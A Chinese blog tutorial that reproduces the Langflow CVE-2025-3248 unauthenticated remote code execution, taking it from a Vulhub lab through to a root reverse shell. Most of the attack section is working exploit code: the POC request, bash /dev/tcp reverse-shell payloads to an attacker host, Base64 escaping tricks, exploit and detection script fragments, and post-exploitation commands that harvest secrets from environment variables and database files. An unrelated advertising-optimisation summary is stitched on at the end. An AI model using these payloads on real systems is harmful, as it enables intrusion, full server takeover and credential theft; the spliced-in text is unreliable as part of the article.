【GetShell】Langflow API未授权远程代码执行漏洞(CVE-2025-3248)

漏洞利用演示视频

👉 CVE-2025-3248 Langflow未授权RCE漏洞复现与GetShell全流程


这篇文章我把从环境搭建到反弹Shell的每一步都拆给你看,包括我自己踩过的三次坑、每次失败的原因分析,以及最终绕过所有编码陷阱的两种方案。最后还附了一个开箱即用的探测脚本和利用脚本,你照着敲就能复现。

这个漏洞编号 CVE-2025-3248,CVSS评分9.8,属于「未授权远程代码执行」——不用登录、不用密码,一个POST请求就能在服务器上跑命令。Langflow是现在AI圈特别火的可视化工作流工具,很多公司和个人开发者都在用,公网上暴露的实例不少。

整个攻击链路其实就四步:环境搭建 → 漏洞利用 → 命令执行 → 反弹Shell拿下服务器。下面这张图是完整流程概览,你可以先有个整体印象,后面我一步步拆。

在这里插入图片描述

本文仅用于合法的安全研究和教育目的,请确保测试系统拥有合法授权。


一、漏洞背景

Langflow是一个开源的AI工作流可视化工具,你可以理解成「AI版的Scratch」——不用写代码,拖拽几个节点连连线,就能搭出一个基于大模型的智能体或者自动化流程。它提供Web界面,默认跑在7860端口。

在1.3.0版本之前,Langflow有一个接口 /api/v1/validate/code,功能很单纯:帮你检查提交的Python代码语法对不对。你发一段函数定义过去,它用ast模块做语法检查,然后用exec执行一下函数定义本身——注意,只是定义,不调用。

开发者当时的想法很朴素:我又不调用这个函数,只是定义一下,能有什么危险?

问题就出在Python的执行语义上。Python定义一个函数的时候,函数的默认参数表达式会立刻被求值,而不是等调用的时候才算。这跟很多语言不一样。打个比方:你写一张请假条,上面写「请假原因:(附医院诊断证明)」,正常逻辑是领导看到请假条再看证明,但Python的逻辑是——你刚写下这句话,诊断证明就已经开出来了,不管领导批不批。

攻击者就利用了这个特性,提交一个看起来很正常的函数定义,但在默认参数里偷偷藏了执行系统命令的代码。系统刚拿到这段代码准备「检查语法」,默认参数里的恶意代码就已经跑起来了。全程不用调用函数、不用登录验证,请求发过去就执行。

这就好比你家门上装了个「访客留言板」,本来是让访客留言的,结果留言板会把访客写的每一句话都当成给户主的命令照做——访客写一句「把保险柜打开」,保险柜就真的开了。

  • 受影响版本: Langflow < 1.3.0
  • 修复版本: Langflow 1.3.0 及以上

这个漏洞在野利用其实不少。原因很简单:Langflow这两年随着AI浪潮火得一塌糊涂,很多团队为了快速验证AI应用,随手就在公网服务器上docker run一个,默认配置、默认端口、啥安全措施都不加。你用FOFA或者ZoomEye搜一下port:"7860" && "Langflow",能看到一大堆暴露在公网的实例——其中相当一部分版本低于1.3.0,直接就能打。

更讽刺的是,很多人部署Langflow是为了做「AI安全助手」或者「自动化安全运营平台」,结果自己的平台先被人拿了Shell。这就跟卖防盗门的人家门被撬了一样,说出去都没人信,但它就是发生了。


二、环境搭建

直接用Vulhub启动,一行命令的事。Vulhub里这个漏洞的路径是 vulhub/langflow/CVE-2025-3248/

cd vulhub/langflow/CVE-2025-3248/
docker compose up -d

启动后访问 http://{业务目标ip}:7860,看到Langflow的登录界面就说明靶场就绪了。

在这里插入图片描述

默认账号是 administrator:vulhub,可以登录进去体验一下Langflow的界面。但接下来的漏洞利用完全不需要登录——这也是这个漏洞最可怕的地方,登录页形同虚设。


三、漏洞复现

步骤1:构造POC Payload

直接向 /api/v1/validate/code 接口发送一个POST请求,请求体里放一段带恶意默认参数的Python函数定义。

这里用了一个经典的回显技巧:在raise Exception()里包裹命令输出,让执行结果出现在错误信息里返回给我们。

POST /api/v1/validate/code HTTP/1.1
Host: {业务目标ip}:7860
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json

{"code": "def test(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')):\n    pass"}

这段payload看起来有点绕,我逐字段拆给你看:

  • def test(cd=...) —— 定义一个叫test的函数,cd是它的默认参数。关键就在这里:Python定义函数时会立刻求值默认参数
  • exec('...') —— 执行括号里的Python代码字符串。这是真正的「触发器」
  • raise Exception(...) —— 抛出一个异常,异常信息就是括号里的内容。Langflow的接口会把异常详情返回在响应中,这就是我们的「回显通道」
  • __import__('subprocess') —— 动态导入subprocess模块。为什么不用import subprocess?因为在exec的字符串里,import语句的作用域处理比较麻烦,用__import__更稳妥
  • .check_output("id", shell=True) —— 执行id命令并捕获输出。shell=True表示通过shell解释器执行,后面会讲到这个参数的重要性

整段代码的执行流程是:Langflow用exec加载函数定义 → Python求值默认参数cd → 触发内层exec → 执行subprocess.check_output("id") → 把输出包进Exception抛出 → 异常信息出现在HTTP响应中。

在这里插入图片描述

步骤2:验证命令执行

发送请求后,看响应体。如果返回了类似下面的内容,就说明命令执行成功了:

{
  "imports": {"errors": []},
  "function": {"errors": ["b'uid=0(root) gid=0(root) groups=0(root)\\n'"]}
}

看到 uid=0(root) 了吗?这说明我们不仅执行了命令,还是以root权限执行的。Langflow的Docker容器默认就是root用户运行,这意味着一旦被攻破,攻击者直接拿到容器内的最高权限。

到这一步,网上90%的教程就结束了。但说实话,能执行id命令只能证明漏洞存在,离真正拿下服务器还差得远。接下来才是硬骨头。


四、GetShell:拿下服务器

能执行id只是第一步。真正有价值的是拿到一个交互式的反弹Shell——这样你才能在目标机器上自由操作,翻文件、提权、横向移动,想干嘛干嘛。

这一步我踩了好几个坑,先把失败的过程写出来,再给最终方案。你看完就会明白,为什么那么多教程到id就停了——不是不想写,是真的容易翻车。

步骤1:第一次尝试——直接拼接反弹命令

最直接的想法:把payload里的id替换成反弹Shell命令不就行了?

{"code": "def test(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"bash -c \\'/bin/bash -i >& /dev/tcp/{攻击ip}/{listen_port} 0>&1\\'\", shell=True))')):\n    pass"}

发送之后,响应是空的。VPS上的nc -lvvp {listen_port}也没有任何动静。

我当时盯着终端看了半分钟,确认不是网络延迟,就是没弹回来。

步骤2:第二次尝试——调整引号和转义

问题大概率出在引号嵌套上。你想想,这段payload穿过了多少层:

  1. JSON层 —— 双引号需要\"转义,反斜杠需要\\表示
  2. Python字符串层 —— exec()的参数是一个字符串,内部的引号需要二次转义
  3. bash层 —— bash -c接收的命令字符串中,&>/dev/tcp这些特殊字符穿过前两层后,很可能已经面目全非了

反弹Shell的命令越长、特殊字符越多,在这个「三层夹心结构」里存活的概率就越低。id这种简单命令没事,但带重定向和/dev/tcp的bash反弹命令几乎不可能保持语义完整。

我尝试改用列表形式传参、改用不同的引号组合,折腾了好几轮,结果都是一样——要么返回语法错误,要么静默失败连个报错都不给。

🚩 踩坑提示
当你发现payload「静默失败」——没有报错、没有回显、连接也没建立——大概率是命令在某一层编码中被解析坏了。不要盲目试错,先把每一层的转义规则理清楚。

步骤3:找到根本原因——减少编码层数

成功的关键不是反复试错,而是减少层数

既然复杂命令无法直接嵌入JSON字符串,那就换个思路:把命令用Base64编码成一串纯字母数字,到目标端再解码执行。Base64字符串里没有引号、没有反斜杠、没有特殊字符,穿过JSON和Python字符串层时完全不会被破坏。

同时,把check_output换成Popencheck_output会阻塞等待命令执行完毕,而反弹Shell是一个持续运行的交互式进程,会一直占着不退出,导致HTTP请求超时甚至被服务端杀掉。Popen是后台执行,发出去就不管了,命令在后台跑,HTTP请求正常返回。

这两个改动组合起来,就是最终的利用方案:

import base64

# 反弹Shell命令
reverse_cmd = f"bash -c '/bin/bash -i >& /dev/tcp/{攻击ip}/{listen_port} 0>&1'"

# Base64编码,得到一串纯字符
b64 = base64.b64encode(reverse_cmd.encode('utf-8')).decode('ascii')

# 构造payload:Popen后台执行 + base64解码
payload = (
    'def test(cd=exec(\'__import__("subprocess").Popen('
    '__import__("base64").b64decode("' + b64 + '").decode(), shell=True)\')):\n'
    '    pass'
)

你看,最终的payload里,命令部分变成了一串Base64编码,没有任何特殊字符,穿过JSON和Python层时完好无损。到了目标端,base64.b64decode()解码还原成原始命令,Popen在后台执行。

💡 核心原理
Base64编码的本质是「把复杂内容变成简单字符」。当你的payload需要穿过多层编码/转义时,把最容易出问题的部分(含特殊字符的命令)编码成「安全字符」,是绕过转义陷阱的通用思路。这个技巧在SQL注入、命令执行、XSS等场景中都用得到。

步骤4:开启监听

在你的VPS(攻击机)上先启动nc监听,等着目标连回来:

nc -lvvp {listen_port}

-l表示监听模式,-v显示详细信息,-p指定端口。执行后会显示 Listening on 0.0.0.0 {listen_port},就说明监听已经就绪。

步骤5:触发漏洞

把构造好的payload发送到目标的漏洞接口。你可以用Burp Suite重放,也可以直接用Python脚本发送。

python exploit.py -t http://{业务目标ip}:7860 -lhost {攻击ip} -lport {listen_port}

在这里插入图片描述

发送之后,注意看nc监听的终端。如果一切正常,几秒钟之内就会收到来自目标的连接:

Connection received on {业务目标ip} xxxxx
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@xxxxxxxx:/usr/src#

看到 root@ 提示符了吗?Shell弹回来了。

步骤6:验证权限

在反弹回来的Shell里执行几条命令,确认一下权限和系统信息:

whoami
id
uname -a
pwd

在这里插入图片描述

whoami返回rootid返回uid=0(root),确认是root权限。pwd显示当前在/usr/src目录下。到这一步,服务器已经在你的完全控制之下了。

拿到Shell之后,你可以做的事情就多了。比如看看容器里跑了什么进程:

ps aux

看看网络连接情况,有没有其他服务在跑:

netstat -tlnp

翻翻环境变量,很多应用会把数据库密码、API密钥写在环境变量里:

env | grep -i -E 'pass|secret|key|token'

看看Langflow的配置文件和数据库在哪,说不定能翻出用户的工作流定义和API密钥:

find / -name "*.db" -o -name "langflow*" 2>/dev/null | head -20

这些信息每一个都可能成为进一步入侵的跳板——拿到数据库密码可以连数据库拖库,拿到API密钥可以调用云服务,拿到其他服务的凭证可以横向移动。这就是为什么一个未授权RCE漏洞的危害远不止「能执行个命令」那么简单。

当然,在授权测试中,拿到Shell之后做什么、做到什么程度,需要跟甲方确认范围,不要越界。


五、踩坑与避坑

坑1:三层编码转义的噩梦

前面已经详细描述了反弹Shell payload多次失败的过程。这里再归纳一下根本原因。

JSON → Python字符串 → subprocess → bash,这个四层结构中,每一层对特殊字符的处理规则都不一样。你在最外层写的一对引号,传到bash那里可能已经丢了、被转义了、或者跟别的引号错误配对了。&在JSON里是普通字符,但在bash里是后台运行符;>在Python字符串里是普通字符,但在bash里是重定向符。每穿过一层,语义就可能被曲解一次。

解决方案: 不要试图在每一层都「正确转义」,层数越多越容易出错。最靠谱的办法是减少层数——用Base64把命令编码成安全字符,或者把payload写在独立文件里由脚本读入发送,都能大幅降低复杂度。

我在这上面卡了快一个小时,最后想通的那一刻感觉自己像个傻子——早知道用Base64,省多少事。

坑2:shell=True 不能省

最开始我尝试用列表形式传参:subprocess.check_output(['bash', '-c', '/bin/bash -i >& /dev/tcp/...']),觉得这样更安全,不用处理引号。

结果反弹Shell一直失败。后来才反应过来:当用列表形式传参时,subprocess不会经过shell解释器,而是直接执行第一个元素作为程序。这意味着bash重定向语法>&/dev/tcp/...不会被shell解析——/dev/tcp是bash的特性,不是真正的设备文件,没有shell解释器就不会生效。

解决方案: 反弹Shell必须用shell=True,让命令经过bash解释器。代价是需要注意命令注入风险,但在漏洞利用场景下这不是问题。

坑3:check_output 会阻塞

check_output执行反弹Shell命令时,HTTP请求会一直挂着,直到超时。因为check_output会等待子进程执行完毕并捕获输出,而反弹Shell是一个持续运行的交互式进程,永远不会「执行完毕」。

有些Web服务器会在请求超时后杀掉对应的进程树,导致反弹Shell刚建立就被干掉。

解决方案:subprocess.Popen替代check_outputPopen是异步的,启动子进程后立即返回,不等待命令结束。这样HTTP请求正常返回,反弹Shell在后台继续运行。

坑4:目标出网与端口选择

反弹Shell的前提是目标机器能主动连接到你的VPS。如果目标在严格的内网环境中,限制了出站连接,那反弹Shell就会失败。

另外,端口选择也有讲究。建议用8080、8443、443、25001这类常见端口,尽量避免用非常用端口——有些防火墙会对出站连接做端口限制,只允许80、443等常见端口出站。

我自己习惯用25001这个端口,不常见但也不偏僻,目前没遇到过被拦的情况。


六、一键利用脚本

每次手动构造payload、发请求太麻烦,尤其是批量测试的时候,一个一个手敲能累死。我整理了两个脚本,一个用来探测漏洞是否存在,一个用来直接反弹Shell。两个脚本都只用Python标准库,不需要装任何第三方依赖,拷过去就能跑。

detect.py——漏洞探测脚本

这个脚本是「无副作用」的,只执行id命令验证漏洞是否存在,不会改变目标系统的任何状态。适合用在授权测试前的资产摸排阶段。

核心逻辑很简单:构造一个执行id的payload,发送到目标接口,检查响应中是否包含uid=

def check_vulnerable(target):
    url = target.rstrip('/') + '/api/v1/validate/code'
    code = (
        'def test(cd=exec(\'raise Exception(__import__("subprocess")'
        '.check_output("id", shell=True))\')):\n    pass'
    )
    payload = json.dumps({"code": code}).encode('utf-8')
    req = urllib.request.Request(url, data=payload, method='POST')
    req.add_header('Content-Type', 'application/json')

    with urllib.request.urlopen(req, timeout=15) as resp:
        body = resp.read().decode('utf-8', errors='ignore')
        if 'uid=' in body:
            print("[+] CVE-2025-3248 CONFIRMED - Langflow unauth RCE")
            return 0
    return 1

用法:

python detect.py -t http://{业务目标ip}:7860

如果存在漏洞,输出大概长这样:

[+] Target: http://{业务目标ip}:7860
[+] Testing CVE-2025-3248 (Langflow unauth RCE)...
[+] Command output detected: uid=0(root)
[+] CVE-2025-3248 CONFIRMED - Langflow unauth RCE

如果目标需要认证(返回401/403)或者接口不存在(404),脚本会明确告诉你原因,不会误报。加-v参数可以看到完整的HTTP请求和响应,适合调试的时候用。

exploit.py——漏洞利用脚本

这个脚本用来真正拿下服务器。它用了前面讲到的两个关键技巧:Base64编码绕过转义、Popen后台执行避免阻塞。

核心的payload构造函数:

def build_payload(cmd):
    b64 = base64.b64encode(cmd.encode('utf-8')).decode('ascii')
    code = (
        'def test(cd=exec(\'__import__("subprocess").Popen('
        '__import__("base64").b64decode("' + b64 + '").decode(), shell=True)\')):\n'
        '    pass'
    )
    return code

反弹Shell的命令是经典的bash /dev/tcp 方式:

reverse_cmd = f"bash -c '/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"

用法也很简单,先在VPS上开监听,再执行脚本:

# 攻击机上开启监听
nc -lvvp {listen_port}

# 另一个终端执行利用脚本
python exploit.py -t http://{业务目标ip}:7860 -lhost {攻击ip} -lport {listen_port}

脚本还支持-c参数自定义执行命令(带回显),适合在拿Shell之前先执行一些探测命令,确认目标环境和权限:

python exploit.py -t http://{业务目标ip}:7860 -c "cat /etc/passwd"
python exploit.py -t http://{业务目标ip}:7860 -c "uname -a"
python exploit.py -t http://{业务目标ip}:7860 -c "ls -la /"

自定义命令模式用的是check_output获取回显,命令同样走Base64编码,所以不用担心特殊字符被转义破坏。这个模式在你不想弹Shell、只想快速执行一两条命令拿信息的时候特别好用——比如先看看目标上有没有装docker、有没有其他服务、root目录里有什么文件,心里有数了再决定要不要弹Shell。

-v参数可以看到Base64编码后的payload和完整的HTTP响应,调试的时候很方便。


七、修复建议

  1. 升级到1.3.0及以上版本。官方已在1.3.0中修复了该漏洞,将exec替换为更安全的代码校验方式,不再执行用户提交的函数定义。

  2. /api/v1/validate/code接口添加认证。这是一个内部API,不应该对未登录用户开放。在反向代理层(Nginx/Traefik)或应用层添加鉴权拦截,禁止匿名访问。

  3. 避免直接使用exec执行用户代码。如果业务确实需要执行用户提交的代码,应在沙箱环境中运行,限制可用模块和系统调用。Python的RestrictedPython可以作为替代方案。

  4. 网络层限制暴露。将7860端口绑定到127.0.0.1而非0.0.0.0,通过反向代理对外暴露,并在代理层实施访问控制和IP白名单。AI工具类服务尽量不要直接暴露在公网。

  5. 部署WAF规则。对/api/v1/validate/code路径添加请求频率限制和内容检测规则,拦截包含__import__subprocessexecbase64等敏感关键字的请求体。


八、写在最后

这个漏洞最有意思的地方在于,它的成因不是什么复杂的技术缺陷,而是一个编程语言的「特性」被忽略了。Python函数默认参数在定义时求值——这个特性写在Python官方文档里,每个Python开发者都应该知道,但Langflow的开发者在用exec执行用户代码时,显然没把它当回事。

再加上未授权访问这个「雪上加霜」的配置,两个看似不严重的问题组合在一起,就变成了9.8分的致命漏洞。

从复现POC到真正拿下服务器,中间那几步才是实战中最值得琢磨的地方。我花了不少篇幅记录反弹Shell失败的排查过程,因为这种「看似能行,实际上被编码细节卡住」的情况,在实际渗透中太常见了。网上的教程大多只给你成功的那条路径,但真正能让你成长的,是那些失败的尝试和排查的思路。

如果你在研究这个漏洞的过程中遇到了其他问题,欢迎评论区留言,我看到了会回。这个专栏后续还会更新更多从漏洞验证到GetShell的完整链路,每一篇都走到拿下服务器为止,不止于POC复现。

最后提醒一句:如果你自己或者公司在用Langflow,现在就去查一下版本号和端口暴露情况。版本低于1.3.0的赶紧升,7860端口直接对公网开放的赶紧加访问控制。安全这件事,早做总比出事了再补救强——等服务器被人种了挖矿木马、数据被拖了,再想起来补漏洞,就晚了。

本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。

内容概要:本文基于某互联网公司2025年约142万元的SEM广告投放数据,构建了“诊断—分类—优化—鲁棒决策”四层次建模框架,系统性提升广告投放效益。研究从广告创意、关键词管理、出价与预算、投放时间四个维度开展策略合理性诊断,揭示了工作日效益高、节假日期效波动剧烈等时间规律,并识别出预算过度集中于少数方案的结构性风险。针对关键词,提出基于成本与效益的二维归一化分类法,结合中位数分割与K-means聚类,将关键词科学划分为黄金词、重点词、潜力词、问题词和无效词五类。为实现效益最大化,建立以注册量为目标、受日预算与总预算约束的0-1整数规划模型,采用“贪心选词+拉格朗日对偶定价”的两阶段算法求解,显著降低单位注册成本,优化预算结构并提升展位质量。进一步引入CVaR鲁棒优化框架,对竞价、展现、点击、转化等环节的不确定性进行建模,生成更具风险抵御能力的投放策略,实证表明优化后单位注册成本下降约两成,黄金词预算占比大幅提升,无效词被完全剔除,整体投放效能显著增强。; 适合人群:具备数据分析与建模基础,从事数字营销、运筹优化或相关领域研究的学生、研究人员及从业者。; 使用场景及目标:①学习如何系统性诊断广告投放效果并识别关键影响因素;②掌握基于数据驱动的关键词价值分类方法与多阶段优化求解技术;③理解并应用鲁棒优化思想处理营销决策中的不确定性问题。; 阅读建议:此资源不仅提供了完整的建模流程与算法实现,还包含详实的实证分析与策略对比,建议读者结合文中模型推导、算法步骤与结果解读进行深入学习,并尝试复现相关计算过程以加深理解。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

光跃Eason

坚持下去,谢谢你的鼓励!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值